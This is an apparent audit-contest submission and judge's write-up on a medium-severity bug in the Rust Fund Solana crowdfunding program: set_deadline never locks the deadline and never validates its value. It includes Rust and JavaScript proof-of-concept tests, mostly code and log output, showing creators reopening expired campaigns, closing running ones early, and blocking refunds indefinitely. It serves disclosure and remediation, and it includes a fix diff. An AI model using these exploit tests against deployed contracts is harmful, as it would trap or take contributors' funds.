Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: medium
Valid

set_deadline() never sets dealine_set and never validates the new value, so the creator can rewrite the deadline at any time: reopen an expired campaign, cut a running one short, or postpone refunds indefinitely

Root + Impact

Description

  • The creator sets the campaign deadline (README: "Sets campaign deadline"). The dealine_set flag and the DeadlineAlreadySet error exist to lock the deadline after the first call. The deadline closes contributions (L29) and opens refunds (L69), so contributors rely on it when they deposit.

  • set_deadline() reverts only when dealine_set is true, but nothing ever sets it to true. fund_create writes false (L20), and set_deadline writes only fund.deadline (L61). The value is not validated either, so it accepts:

    • 0, which the program treats as "no deadline";

    • a timestamp in the past;

    • u64::MAX.

    The creator can therefore change the deadline any number of times, at any moment, after contributors have committed SOL. DeadlineAlreadySet can never be returned.

// programs/rustfund/src/lib.rs L20: fund_create(): the only write to the lock flag
fund.dealine_set = false;
​
// programs/rustfund/src/lib.rs L55-L63 (@> L57, L61): set_deadline(): the lock is checked but never set, and the value is never validated
pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
@> if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
@> fund.deadline = deadline;
Ok(())
}

Risk

Likelihood:

  • It needs the creator to act against contributors. Anyone can be a creator, and the README does not make creators trusted toward contributors. Each change is one set_deadline() call that can be sent at any time.

  • Reopening an expired campaign and cutting a running one short both work on the code exactly as deployed, with no other bug involved.

Impact:

  • After the advertised deadline has passed and contributions are closed, the creator can reopen the campaign with a future value or with 0 and keep collecting SOL. A past value ends a running campaign early, so later contributions revert. Contributors cannot rely on the deadline they saw when they deposited.

  • Once contribute() records contribution amounts (a separate one-line fix), the creator can move the deadline to u64::MAX just before it expires and block every refund indefinitely. In the PoC, refunds revert with DeadlineNotReached 1 second, 1 year and 100 years after the original deadline, while an identical honest fund refunds normally. Only the creator can reopen refunds, by calling set_deadline(0).

Proof of Concept

Three live tests run the unmodified program on unmodified state. The fourth is a latent test that pre-loads the Contribution record, as in the refund-gate finding.

  1. A non-creator's call fails with ConstraintHasOne (2001). The creator then calls set_deadline six times in a row with now + 60 s, now + 10 years, 0, 1, u64::MAX and now + 7 days. All six succeed, each value is stored as given, and dealine_set stays false.

  2. After the deadline has passed, contribute() reverts with DeadlineReached (6001). The creator moves the deadline 30 days later, and Bob's 3 SOL contribution is accepted. When that deadline also passes, set_deadline(0) reopens the campaign again.

  3. On day 0 of a 30-day campaign the creator sets the deadline to 1 (in 1970), and Bob's contribution reverts with DeadlineReached.

  4. Latent: two identical funds each have a 5 SOL backer, and 60 seconds before the deadline the creator sets one fund's deadline to u64::MAX.

    • One second after the deadline, the honest fund refunds 5 SOL.

    • The rigged fund's refund reverts with 6002 at that moment, a year later and 100 years later.

    • The rigged fund still accepts contributions 100 years on.

    • After the creator calls set_deadline(0), the refund goes through.

// PoC RF-04: set_deadline() never sets `dealine_set` and never validates the value.
//
// lib.rs:20 fund.dealine_set = false; <- the ONLY write to the flag
// lib.rs:57 if fund.dealine_set { DeadlineAlreadySet } <- never true, so never fires
// lib.rs:61 fund.deadline = deadline; <- no `dealine_set = true`, no bound on the value
//
// The deadline is the only gate on contribute (lib.rs:29) and refund (lib.rs:69), and the creator
// can rewrite it at any time, any number of times, to any value (0, past, u64::MAX).
//
// Layers of proof:
// * LIVE (unmodified program, unmodified state): repeated set_deadline calls all succeed, the flag
// stays false, 0 / past / u64::MAX are accepted; an expired campaign is reopened and takes real
// SOL; a running campaign is closed early.
// * LATENT (unmodified program): the Contribution PDA is pre-loaded with the record that the
// one-line contribute fix (`contribution.amount += amount`) would leave. Program code is NOT
// changed. Shows the creator pushing the deadline to u64::MAX and blocking refunds indefinitely,
// against an identical honest fund where the refund pays out.
use anchor_lang::prelude::*;
use anchor_lang::solana_program::entrypoint::ProgramResult;
use anchor_lang::{InstructionData, ToAccountMetas};
use solana_program_test::*;
use solana_sdk::{
account::Account as SdkAccount,
instruction::{Instruction, InstructionError},
signature::{Keypair, Signer},
transaction::{Transaction, TransactionError},
};
​
const SOL: u64 = 1_000_000_000;
const DAY: i64 = 24 * 3600;
const YEAR: i64 = 365 * DAY;
const ERR_DEADLINE_ALREADY_SET: u32 = 6000;
const ERR_DEADLINE_REACHED: u32 = 6001;
const ERR_DEADLINE_NOT_REACHED: u32 = 6002;
const ANCHOR_CONSTRAINT_HAS_ONE: u32 = 2001;
​
fn process_instruction(program_id: &Pubkey, accounts: &[AccountInfo], data: &[u8]) -> ProgramResult {
let accounts = Box::leak(Box::new(accounts.to_vec()));
rustfund::entry(program_id, accounts, data)
}
​
// ---------------------------------------------------------------- helpers
​
fn new_pt() -> ProgramTest {
ProgramTest::new("rustfund", rustfund::ID, processor!(process_instruction))
}
​
fn give_sol(pt: &mut ProgramTest, who: &Pubkey, sol: u64) {
pt.add_account(*who, SdkAccount::new(sol * SOL, 0, &solana_sdk::system_program::id()));
}
​
fn fund_pda(name: &str, creator: &Pubkey) -> Pubkey {
Pubkey::find_program_address(&[name.as_bytes(), creator.as_ref()], &rustfund::ID).0
}
​
fn contribution_pda(fund: &Pubkey, contributor: &Pubkey) -> Pubkey {
Pubkey::find_program_address(&[fund.as_ref(), contributor.as_ref()], &rustfund::ID).0
}
​
/// LATENT-world setup: write the Contribution record that a fixed contribute() would produce.
fn preload_recorded_contribution(pt: &mut ProgramTest, fund: Pubkey, contributor: Pubkey, amount: u64) {
let rec = rustfund::Contribution { contributor, fund, amount };
let mut data = Vec::new();
rec.try_serialize(&mut data).unwrap();
assert_eq!(data.len(), 8 + 32 + 32 + 8, "same size as 8 + Contribution::INIT_SPACE");
pt.add_account(
contribution_pda(&fund, &contributor),
SdkAccount {
lamports: Rent::default().minimum_balance(data.len()),
data,
owner: rustfund::ID,
executable: false,
rent_epoch: 0,
},
);
}
​
async fn send(
ctx: &mut ProgramTestContext,
ixs: &[Instruction],
extra_signers: &[&Keypair],
) -> std::result::Result<(), BanksClientError> {
let bh = ctx.get_new_latest_blockhash().await.unwrap();
let mut signers: Vec<&Keypair> = vec![&ctx.payer];
signers.extend_from_slice(extra_signers);
let tx = Transaction::new_signed_with_payer(ixs, Some(&ctx.payer.pubkey()), &signers, bh);
ctx.banks_client.process_transaction(tx).await
}
​
async fn lamports(ctx: &mut ProgramTestContext, key: &Pubkey) -> u64 {
ctx.banks_client.get_account(*key).await.unwrap().map(|a| a.lamports).unwrap_or(0)
}
​
async fn fund_state(ctx: &mut ProgramTestContext, key: &Pubkey) -> rustfund::Fund {
let acc = ctx.banks_client.get_account(*key).await.unwrap().unwrap();
rustfund::Fund::try_deserialize(&mut acc.data.as_slice()).unwrap()
}
​
async fn contribution_state(ctx: &mut ProgramTestContext, fund: &Pubkey, who: &Pubkey) -> rustfund::Contribution {
let acc = ctx.banks_client.get_account(contribution_pda(fund, who)).await.unwrap().unwrap();
rustfund::Contribution::try_deserialize(&mut acc.data.as_slice()).unwrap()
}
​
async fn fund_rent_min(ctx: &mut ProgramTestContext, fund: &Pubkey) -> u64 {
let acc = ctx.banks_client.get_account(*fund).await.unwrap().unwrap();
ctx.banks_client.get_rent().await.unwrap().minimum_balance(acc.data.len())
}
​
async fn now(ctx: &mut ProgramTestContext) -> i64 {
ctx.banks_client.get_sysvar::<Clock>().await.unwrap().unix_timestamp
}
​
async fn warp_to(ctx: &mut ProgramTestContext, ts: i64) {
let mut clock: Clock = ctx.banks_client.get_sysvar::<Clock>().await.unwrap();
clock.unix_timestamp = ts;
ctx.set_sysvar(&clock);
}
​
fn custom_code(err: BanksClientError) -> u32 {
match err {
BanksClientError::TransactionError(TransactionError::InstructionError(0, InstructionError::Custom(c))) => c,
other => panic!("expected custom program error, got {:?}", other),
}
}
​
fn create_ix(fund: Pubkey, creator: Pubkey, name: &str, goal: u64) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundCreate { fund, creator, system_program: anchor_lang::system_program::ID }
.to_account_metas(None),
data: rustfund::instruction::FundCreate {
name: name.to_string(),
description: "raise closes at the deadline; refunds open at the deadline".to_string(),
goal,
}
.data(),
}
}
​
fn deadline_ix(fund: Pubkey, creator: Pubkey, deadline: u64) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundSetDeadline { fund, creator }.to_account_metas(None),
data: rustfund::instruction::SetDeadline { deadline }.data(),
}
}
​
fn contribute_ix(fund: Pubkey, contributor: Pubkey, amount: u64) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundContribute {
fund,
contributor,
contribution: contribution_pda(&fund, &contributor),
system_program: anchor_lang::system_program::ID,
}
.to_account_metas(None),
data: rustfund::instruction::Contribute { amount }.data(),
}
}
​
fn refund_ix(fund: Pubkey, contributor: Pubkey) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundRefund {
fund,
contribution: contribution_pda(&fund, &contributor),
contributor,
system_program: anchor_lang::system_program::ID,
}
.to_account_metas(None),
data: rustfund::instruction::Refund {}.data(),
}
}
​
// ---------------------------------------------------------------- 1. LIVE: the set-once lock is dead, no value validation
​
#[tokio::test]
async fn rf04_live_set_once_lock_is_dead_and_any_value_accepted() {
let creator = Keypair::new();
let stranger = Keypair::new();
let fund = fund_pda("lockcheck", &creator.pubkey());
let mut pt = new_pt();
give_sol(&mut pt, &creator.pubkey(), 1);
give_sol(&mut pt, &stranger.pubkey(), 1);
let mut ctx = pt.start_with_context().await;
let t0 = now(&mut ctx).await;
​
send(&mut ctx, &[create_ix(fund, creator.pubkey(), "lockcheck", 10 * SOL)], &[&creator]).await.unwrap();
let f = fund_state(&mut ctx, &fund).await;
println!("[live] after fund_create: deadline={} dealine_set={}", f.deadline, f.dealine_set);
assert_eq!(f.deadline, 0);
assert!(!f.dealine_set);
​
// Access control does exist: only the creator can call it (so this is creator power, not open access).
let code = custom_code(send(&mut ctx, &[deadline_ix(fund, stranger.pubkey(), (t0 + DAY) as u64)], &[&stranger]).await.unwrap_err());
println!("[live] non-creator set_deadline -> Custom({}) (ConstraintHasOne)", code);
assert_eq!(code, ANCHOR_CONSTRAINT_HAS_ONE);
​
// The creator rewrites the deadline repeatedly, including invalid values.
let values: [(&str, u64); 6] = [
("now+60s", (t0 + 60) as u64),
("now+10y", (t0 + 10 * YEAR) as u64),
("0 (clear)", 0),
("1 (past)", 1),
("u64::MAX", u64::MAX),
("now+7d", (t0 + 7 * DAY) as u64),
];
for (i, (label, v)) in values.iter().enumerate() {
let res = send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), *v)], &[&creator]).await;
let f = fund_state(&mut ctx, &fund).await;
println!("[live] call #{} set_deadline({:>9}) -> {:?}; stored deadline={} dealine_set={}",
i + 1, label, res, f.deadline, f.dealine_set);
assert!(res.is_ok(), "call #{} must not revert with DeadlineAlreadySet ({})", i + 1, ERR_DEADLINE_ALREADY_SET);
assert_eq!(f.deadline, *v, "value written unvalidated");
assert!(!f.dealine_set, "flag never set to true");
}
println!("[live] 6/6 calls accepted; DeadlineAlreadySet (6000) never emitted; dealine_set still false");
}
​
// ---------------------------------------------------------------- 2. LIVE: reopen an expired campaign
​
#[tokio::test]
async fn rf04_live_creator_reopens_expired_campaign_and_takes_new_sol() {
let creator = Keypair::new();
let (alice, bob) = (Keypair::new(), Keypair::new());
let fund = fund_pda("reopen", &creator.pubkey());
let mut pt = new_pt();
give_sol(&mut pt, &creator.pubkey(), 1);
give_sol(&mut pt, &alice.pubkey(), 10);
give_sol(&mut pt, &bob.pubkey(), 10);
let mut ctx = pt.start_with_context().await;
let t0 = now(&mut ctx).await;
let t1 = t0 + 7 * DAY;
​
send(&mut ctx, &[create_ix(fund, creator.pubkey(), "reopen", 100 * SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), t1 as u64)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund, alice.pubkey(), 2 * SOL)], &[&alice]).await.unwrap();
​
// Baseline: after T1 the campaign is closed.
warp_to(&mut ctx, t1 + DAY).await;
let code = custom_code(send(&mut ctx, &[contribute_ix(fund, bob.pubkey(), 3 * SOL)], &[&bob]).await.unwrap_err());
println!("[live] baseline: T1 passed (now = T1+1d), contribute -> Custom({}) DeadlineReached", code);
assert_eq!(code, ERR_DEADLINE_REACHED);
​
// BUG: creator moves the deadline after expiry; the call succeeds.
let t2 = t1 + 30 * DAY;
let res = send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), t2 as u64)], &[&creator]).await;
println!("[live] after expiry, creator set_deadline(T1+30d) -> {:?}", res);
assert!(res.is_ok());
let fund_before = lamports(&mut ctx, &fund).await;
let res = send(&mut ctx, &[contribute_ix(fund, bob.pubkey(), 3 * SOL)], &[&bob]).await;
let taken = lamports(&mut ctx, &fund).await - fund_before;
println!("[live] expired campaign reopened: Bob contribute(3 SOL) -> {:?}, fund +{} SOL", res, taken / SOL);
assert!(res.is_ok(), "contribute accepted after the advertised deadline");
assert_eq!(taken, 3 * SOL);
​
// Same with 0: clearing the deadline also reopens an expired campaign.
warp_to(&mut ctx, t2 + DAY).await;
assert_eq!(custom_code(send(&mut ctx, &[contribute_ix(fund, bob.pubkey(), SOL)], &[&bob]).await.unwrap_err()), ERR_DEADLINE_REACHED);
send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), 0)], &[&creator]).await.unwrap();
let res = send(&mut ctx, &[contribute_ix(fund, bob.pubkey(), SOL)], &[&bob]).await;
let f = fund_state(&mut ctx, &fund).await;
println!("[live] expired again, creator set_deadline(0) -> contribute {:?}; raised={} SOL dealine_set={}",
res, f.amount_raised / SOL, f.dealine_set);
assert!(res.is_ok());
assert_eq!(f.amount_raised, 6 * SOL);
assert!(!f.dealine_set);
}
​
// ---------------------------------------------------------------- 3. LIVE: close a running campaign early
​
#[tokio::test]
async fn rf04_live_creator_closes_running_campaign_early_with_past_value() {
let creator = Keypair::new();
let (alice, bob) = (Keypair::new(), Keypair::new());
let fund = fund_pda("cutshort", &creator.pubkey());
let mut pt = new_pt();
give_sol(&mut pt, &creator.pubkey(), 1);
give_sol(&mut pt, &alice.pubkey(), 10);
give_sol(&mut pt, &bob.pubkey(), 10);
let mut ctx = pt.start_with_context().await;
let t0 = now(&mut ctx).await;
​
send(&mut ctx, &[create_ix(fund, creator.pubkey(), "cutshort", 100 * SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), (t0 + 30 * DAY) as u64)], &[&creator]).await.unwrap();
// Baseline: mid-campaign contributions accepted.
send(&mut ctx, &[contribute_ix(fund, alice.pubkey(), 2 * SOL)], &[&alice]).await.unwrap();
println!("[live] baseline: deadline now+30d, Alice contribute OK");
​
let res = send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), 1)], &[&creator]).await;
println!("[live] day 0 of 30: creator set_deadline(1) (1970) -> {:?}", res);
assert!(res.is_ok(), "past value accepted");
let code = custom_code(send(&mut ctx, &[contribute_ix(fund, bob.pubkey(), 2 * SOL)], &[&bob]).await.unwrap_err());
println!("[live] Bob contribute 29+ days before the advertised end -> Custom({}) DeadlineReached", code);
assert_eq!(code, ERR_DEADLINE_REACHED);
}
​
// ---------------------------------------------------------------- 4. LATENT: refunds blocked indefinitely
​
#[tokio::test]
async fn rf04_latent_creator_extends_deadline_to_u64_max_and_blocks_refunds() {
let creator = Keypair::new();
let (carol, dave) = (Keypair::new(), Keypair::new());
let honest = fund_pda("honest", &creator.pubkey());
let rigged = fund_pda("rigged", &creator.pubkey());
let mut pt = new_pt();
give_sol(&mut pt, &creator.pubkey(), 1);
give_sol(&mut pt, &carol.pubkey(), 10);
give_sol(&mut pt, &dave.pubkey(), 10);
preload_recorded_contribution(&mut pt, honest, carol.pubkey(), 5 * SOL);
preload_recorded_contribution(&mut pt, rigged, dave.pubkey(), 5 * SOL);
let mut ctx = pt.start_with_context().await;
let t0 = now(&mut ctx).await;
let t1 = t0 + 7 * DAY;
​
// Two identical funds: goal 100 SOL, deadline T1, one 5 SOL backer each. Goal will be missed.
for (fund, name, who) in [(honest, "honest", &carol), (rigged, "rigged", &dave)] {
send(&mut ctx, &[create_ix(fund, creator.pubkey(), name, 100 * SOL)], &[&creator]).await.unwrap();
send(&mut ctx, &[deadline_ix(fund, creator.pubkey(), t1 as u64)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund, who.pubkey(), 5 * SOL)], &[who]).await.unwrap();
}
let r = fund_rent_min(&mut ctx, &rigged).await;
assert_eq!(lamports(&mut ctx, &rigged).await, r + 5 * SOL);
assert_eq!(contribution_state(&mut ctx, &rigged, &dave.pubkey()).await.amount, 5 * SOL);
​
// Just before T1, with the goal unmet, the creator of `rigged` pushes the deadline to u64::MAX.
warp_to(&mut ctx, t1 - 60).await;
let res = send(&mut ctx, &[deadline_ix(rigged, creator.pubkey(), u64::MAX)], &[&creator]).await;
println!("[latent] T1-60s, goal unmet: creator set_deadline(u64::MAX) on `rigged` -> {:?}", res);
assert!(res.is_ok());
​
// Baseline: honest fund, after T1 -> refund pays 5 SOL.
warp_to(&mut ctx, t1 + 1).await;
let before = lamports(&mut ctx, &carol.pubkey()).await;
send(&mut ctx, &[refund_ix(honest, carol.pubkey())], &[&carol]).await.unwrap();
let carol_gain = lamports(&mut ctx, &carol.pubkey()).await - before;
println!("[latent] baseline `honest` at T1+1s: Carol refund OK, +{} SOL", carol_gain / SOL);
assert_eq!(carol_gain, 5 * SOL);
​
// BUG: rigged fund, same moment -> refund reverts; and stays reverted years later.
for (label, ts) in [("T1+1s", t1 + 1), ("T1+1y", t1 + YEAR), ("T1+100y", t1 + 100 * YEAR)] {
warp_to(&mut ctx, ts).await;
let code = custom_code(send(&mut ctx, &[refund_ix(rigged, dave.pubkey())], &[&dave]).await.unwrap_err());
println!("[latent] `rigged` at {:>7}: Dave refund -> Custom({}) DeadlineNotReached", label, code);
assert_eq!(code, ERR_DEADLINE_NOT_REACHED);
}
assert_eq!(lamports(&mut ctx, &rigged).await, r + 5 * SOL, "Dave's 5 SOL still held by the fund");
assert_eq!(contribution_state(&mut ctx, &rigged, &dave.pubkey()).await.amount, 5 * SOL);
​
// Contributions also stay open far past the advertised end (live behaviour, same root cause).
let res = send(&mut ctx, &[contribute_ix(rigged, carol.pubkey(), SOL)], &[&carol]).await;
println!("[latent] `rigged` at T1+100y: contribute -> {:?}", res);
assert!(res.is_ok());
​
// The creator alone decides when (if ever) refunds open: set_deadline(0) unblocks them at will.
let res = send(&mut ctx, &[deadline_ix(rigged, creator.pubkey(), 0)], &[&creator]).await;
assert!(res.is_ok());
let before = lamports(&mut ctx, &dave.pubkey()).await;
send(&mut ctx, &[refund_ix(rigged, dave.pubkey())], &[&dave]).await.unwrap();
let dave_gain = lamports(&mut ctx, &dave.pubkey()).await - before;
println!("[latent] creator set_deadline(0) -> Dave refund now OK, +{} SOL (refund timing is creator-controlled)", dave_gain / SOL);
assert_eq!(dave_gain, 5 * SOL);
assert!(!fund_state(&mut ctx, &rigged).await.dealine_set);
}

Run from the repository root. Everything before the cd line is a one-time setup; save the file above as programs/rustfund/tests/poc_RF-04.rs before running the last line:

cat >> programs/rustfund/Cargo.toml <<'TOML'
​
[dev-dependencies]
solana-program-test = "~1.18.26"
solana-sdk = "~1.18.26"
tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
TOML
mkdir -p programs/rustfund/tests
cd programs/rustfund && cargo test --test poc_RF-04 -- --nocapture

Result: test result: ok. 4 passed; 0 failed. Key log lines:

[live] non-creator set_deadline -> Custom(2001) (ConstraintHasOne)
[live] 6/6 calls accepted; DeadlineAlreadySet (6000) never emitted; dealine_set still false
[live] baseline: T1 passed (now = T1+1d), contribute -> Custom(6001) DeadlineReached
[live] expired campaign reopened: Bob contribute(3 SOL) -> Ok(()), fund +3 SOL
[live] Bob contribute 29+ days before the advertised end -> Custom(6001) DeadlineReached
[latent] baseline `honest` at T1+1s: Carol refund OK, +5 SOL
[latent] `rigged` at T1+100y: Dave refund -> Custom(6002) DeadlineNotReached
[latent] creator set_deadline(0) -> Dave refund now OK, +5 SOL (refund timing is creator-controlled)

Recommended Mitigation

Lock the deadline after the first call and require it to be in the future. If the deadline must not be set after contributions arrive, also require fund.amount_raised == 0 at this point.

--- a/programs/rustfund/src/lib.rs
+++ b/programs/rustfund/src/lib.rs
@@ -59,5 +59,8 @@
}
- fund.deadline = deadline;
+ let now: u64 = Clock::get()?.unix_timestamp.try_into().unwrap();
+ require!(deadline > now, ErrorCode::InvalidDeadline);
+ fund.deadline = deadline;
+ fund.dealine_set = true;
Ok(())
}
@@ -205,3 +208,5 @@
#[msg("Calculation overflow occurred")]
CalculationOverflow,
+ #[msg("Deadline must be in the future")]
+ InvalidDeadline,
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] The set_deadline function does not set the dealine_set flag to true

The `set_deadline()` function in the `rustfund` program contains a vulnerability that allows campaign creators to manipulate deadlines indefinitely. While the function correctly checks if `fund.dealine_set` is true before allowing the deadline to be changed, it never sets this flag to true after setting the deadline. ```rust pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> { let fund = &mut ctx.accounts.fund; if fund.dealine_set { return Err(ErrorCode::DeadlineAlreadySet.into()); } fund.deadline = deadline; Ok(()) } ``` The function is missing a crucial line to update the flag: `fund.dealine_set = true;` This oversight bypasses a key safeguard intended to prevent creators from manipulating deadlines after they've been set. According to the project documentation, this flag is meant to enforce deadline immutability, which is an essential part of the platform's trust model. ### Impact 1. **Refund evasion**: Creators can prevent users from obtaining refunds by continually extending the deadline whenever it approaches. This directly undermines the project's advertised "Refund Mechanism" which promises that "Contributors can get refunds if deadlines are reached and goals aren't met." 2. **Fund locking**: Contributors' funds can be effectively locked indefinitely, as the refund function is contingent upon the deadline being reached: ```rust if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } ``` ### Proof of Concept (PoC) The following test demonstrates how a creator can set the deadline multiple times, effectively bypassing the intended deadline immutability: ```javascript import * as anchor from "@coral-xyz/anchor"; import { Program } from "@coral-xyz/anchor"; import { Rustfund } from "../target/types/rustfund"; import { assert } from "chai"; describe("VULN-02: set_deadline vulnerability", () => { // Configures the provider to use the local cluster const provider = anchor.AnchorProvider.env(); anchor.setProvider(provider); const program = anchor.workspace.Rustfund as Program<Rustfund>; // Test variables const fundName = "TestFund"; const description = "Testing deadline vulnerability"; const goal = new anchor.BN(1000000); let fundPda: anchor.web3.PublicKey; it("Allows you to modify the deadline several times", async () => { // Derivation of PDA address for financing account [fundPda] = await anchor.web3.PublicKey.findProgramAddress( [Buffer.from(fundName), provider.wallet.publicKey.toBuffer()], program.programId ); // Fund creation await program.rpc.fundCreate(fundName, description, goal, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }, }); // First deadline assignment const deadline1 = new anchor.BN(Math.floor(Date.now() / 1000) + 3600); // 1 hour in the future await program.rpc.setDeadline(deadline1, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, }, }); // Second deadline assignment (which should not be possible if the flag is set to true) const deadline2 = new anchor.BN(Math.floor(Date.now() / 1000) + 7200); // 2 hours into the future await program.rpc.setDeadline(deadline2, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, }, }); // Check that the deadline has been updated to the second value const fundAccount = await program.account.fund.fetch(fundPda); assert.ok( fundAccount.deadline.eq(deadline2), "The deadline may have been modified several times, but vulnerability presents" ); }); }); ``` Save the above test as, for example, tests/02.ts in your project's test directory and run the test : ```Solidity anchor test ``` ### Concrete Impact Example To illustrate the real-world impact of this vulnerability, consider this scenario: - A creator launches a campaign to fund a project with a goal of 100 SOL - The creator sets an initial deadline of 30 days - Contributors collectively deposit 80 SOL (below the goal) - As the deadline approaches, the creator realizes they won't reach the goal - Instead of allowing refunds as promised, the creator extends the deadline by another 30 days - This pattern can repeat indefinitely, effectively locking contributor funds - Even if contributors try to request refunds, they'll be rejected with "DeadlineNotReached" errors ### Recommendation The fix for this vulnerability is straightforward. The `set_deadline()` function should be modified to set the `dealine_set` flag to true after setting the deadline: ```rust pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> { let fund = &mut ctx.accounts.fund; if fund.dealine_set { return Err(ErrorCode::DeadlineAlreadySet.into()); } fund.deadline = deadline; fund.dealine_set = true; // Add this line to fix the vulnerability Ok(()) } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!